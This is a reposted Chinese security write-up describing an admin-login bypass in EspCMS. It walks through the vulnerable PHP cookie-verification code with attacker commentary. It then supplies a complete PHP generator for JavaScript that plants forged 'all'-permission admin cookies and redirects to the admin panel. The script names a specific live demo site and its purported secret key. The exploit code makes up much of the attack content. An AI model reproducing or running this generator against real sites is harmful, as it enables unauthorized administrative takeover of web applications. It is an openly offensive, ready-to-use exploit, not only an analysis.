鸿 网 互 联 www.68idc.cn

当前位置 : 服务器租用 > 网站安全 > 安全设置 > >

EspCMS后台登录绕过漏洞再利用

来源:互联网 作者:佚名 时间:2015-10-19 08:44
之前4月13日在360的漏洞平台提交过一次,当时给出了能计算出db_pscode的利用工具。db_pscode是安装的时候随机生成的一个字符串常量,保存在配置文件里。4月22日,官方发布了新版本,改进了程序安装时候生成db_pscode的方法,修复了该漏洞。其实官方只是防住了
之前4月13日在360的漏洞平台提交过一次,当时给出了能计算出db_pscode的利用工具。db_pscode是安装的时候随机生成的一个字符串常量,保存在配置文件里。4月22日,官方发布了新版本,改进了程序安装时候生成db_pscode的方法,"修复了"该漏洞。其实官方只是防住了当时的那个exp,并没有从根本上防住漏洞。22日之前是32位的md5hash字符串,这次长度变的不固定可以是1-39位的字符串,但是依然可以逆向出来,这里还是以后台绕过的方法来利用这个漏洞。
 
 
 
先看一下EspCMS后台的验证流程
 
 
 
管理的主界面important类的构造函数:
 
 
<?php
//adminsoft/management.php

class important extends connector {

function important() {
$this->softbase(true); //构造函数调用了父类中的softbase函数,softbase函数又调用了admin_purview函数来验证登录状态
}

---
//父类 connector中的softbase函数
// public/class_connector.php
class connector {

function softbase($admin_purview = false) {

header("Content-Type: text/html; charset=utf-8");
$this->dbmysql();
$this->commandinc();
$this->systemfile();
$this->cachedb();
if ($admin_purview) {

$this->admin_purview(); //这里会验证管理员是否已经登录

$this->sitelng = $this->getlng();

$action = $this->fun->accept('action', 'R'); 
if (in_array($action, $this->esp_powerlist) && !in_array('all', $this->esp_powerlist)) {
exit('Permissions errors'); //$this->esp_powerlist权限列表 这里设置成all就ok了
}
}

.....
// public/class_connector.php

function admin_purview() {
if ($this->fun->accept('archive', 'R') == 'filemanage' && $this->fun->accept('action', 'R') == 'batupfilesave') {

$ecisp_admininfo = $this->fun->accept('ecisp_admininfo', 'G');
$esp_powerlist = $this->fun->accept('esp_powerlist', 'G');

$gettype = false;
} else {
$ecisp_admininfo = $this->fun->accept('ecisp_admininfo', 'C');
$esp_powerlist = $this->fun->accept('esp_powerlist', 'C');
$gettype = true; //上面的两个数据可以从 cookie 和get的参数中获取 
//我们还是直接从cookie入手吧,一是隐蔽啊,来无影去无踪,二是能保存参数值
//$esp_powerlist 是权限列表 我们让这里 解码后是 all 也就是拥有所有权限的管理员
//$ecisp_admininfo保存着管理员的一些信息
}

//下面的db_pscode 我们已经能够控制了,$ecisp_admininfo我们可以自己构造,进一步控制 $arr_purview 和 $this->esp_powerlist

$arr_purview = explode('|', $this->fun->eccode($ecisp_admininfo, 'DECODE', db_pscode));

$this->esp_powerlist = explode('|', $this->fun->eccode($esp_powerlist, 'DECODE', db_pscode));
// "1|c4rp3nt3r|12345678901234567890123456789012|md5('Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101') |1|management|".ms5('http://scan.hackme.info/espcms/adminsoft/');

list($this->esp_adminuserid, $this->esp_username, $this->esp_password, $this->esp_useragent, $this->esp_powerid, $this->esp_inputclassid, $this->esp_softurl) = $arr_purview;
if ($gettype) {
//cookie提交的参数 程序就进到这里 只要满足下面的条件 使 $condition = 1; 那么就通过了管理员验证
//这里的问题是所有数据没有再一次进入到数据库验证(如果验证的话估计会产生SQL注入:)
//我们构造 $this->esp_username = 'c4rp3nt3r'; $this->esp_adminuserid = '1';$this->esp_softurl是后台地址已知的

if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_AGENT) != $this->esp_useragent || md5(admin_ClassURL) != $this->esp_softurl) {
$condition = 0;
} else {
$condition = 1;
}
} else {


if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_ClassURL) != $this->esp_softurl) {
$condition = 0;
} else {
$condition = 1;
}
}
if ($condition == 0) {

if ($this->fun->accept('archive', 'R') != 'adminuser' && $this->fun->accept('action', 'R') != 'login') {
header('location: index.php?archive=adminuser&action=login');
exit();
}
} else { //通过了管理员验证 :-)

if ($condition == 1 && $this->fun->accept('point', 'R') == '' && $this->fun->accept('archive', 'R') == '' && $this->fun->accept('action', 'R') == '') {
header('location: index.php?archive=management&action=tab&loadfun=mangercenter&out=tabcenter');
exit();
}
}
}


 
这里关键是 $this->fun->eccode() 这个函数的解密密钥 db_pscode 的获取了。
 
通过对比明文和密文可以逆向出这个值:
 
 
 
为了不必要的误会和麻烦,这里就不给出计算db_pscode的具体代码了。说下方法吧:
 
通过useragent 和 网站根目录网址就能逆向出超过66位的字符串值。
 
0422后db_pscode长度如果在32位之内也可以通过别的地方如发送验证邮件的地方获得32位的验证码。
 
总之N多方法。
 
 
 
 
 
这里直接给出后台绕过的javascript利用代码的生成代码:
 
 
<?php
// code by c4rp3nt3r@0x50sec.org

$admin_AGENT = $_SERVER['HTTP_USER_AGENT'];

//////////////////////////////////////////////////////////////////////
$admin_ClassURL = 'http://demo.ecisp.cn/adminsoft';

$key = "b229c152dsafsdafasfsadfasfdsfcbda220a9c5"; // http://demo.ecisp.cn 这个网站的 db_pscode (20130425)
//////////////////////////////////////////////////////////////////////

$powerlist = 'all';
$admininfo = '1|espcmsadmin|cccccccccccccccccccccccccccccccc|'.md5($admin_AGENT).'|1|1|'.md5($admin_ClassURL);


$esp_powerlist = eccode($powerlist ,'ENCODE', $key);
$ecisp_admininfo = eccode($admininfo, 'ENCODE', $key);

$exploit = '';
$exploit = "document.cookie='esp_powerlist=$esp_powerlist';\n"; 
$exploit .= "document.cookie='ecisp_admininfo=$ecisp_admininfo';\n";
$exploit .= "//alert(document.cookie);\n";
$exploit .= "window.location.href='".$admin_ClassURL."/index.php?archive=management&action=tab&loadfun=mangercenter&out=tabcenter'; \n"; 
echo "<pre>".$exploit."</pre>";

function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%') {
$result = '';
//echo '^'.$key."^\n";
if ($operation == 'ENCODE') {
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) + ord($keychar));
$result.=$char;
}
$result = base64_encode($result);
$result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
} elseif ($operation == 'DECODE') {
$data = str_replace(array('-', '_'), array('+', '/'), $string);
$mod4 = strlen($data) % 4;
if ($mod4) {
$data .= substr('====', $mod4);
}
$string = base64_decode($data);
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) - ord($keychar));
$result.=$char;
}
}
return $result;
}

 

 
 
 
网友评论
<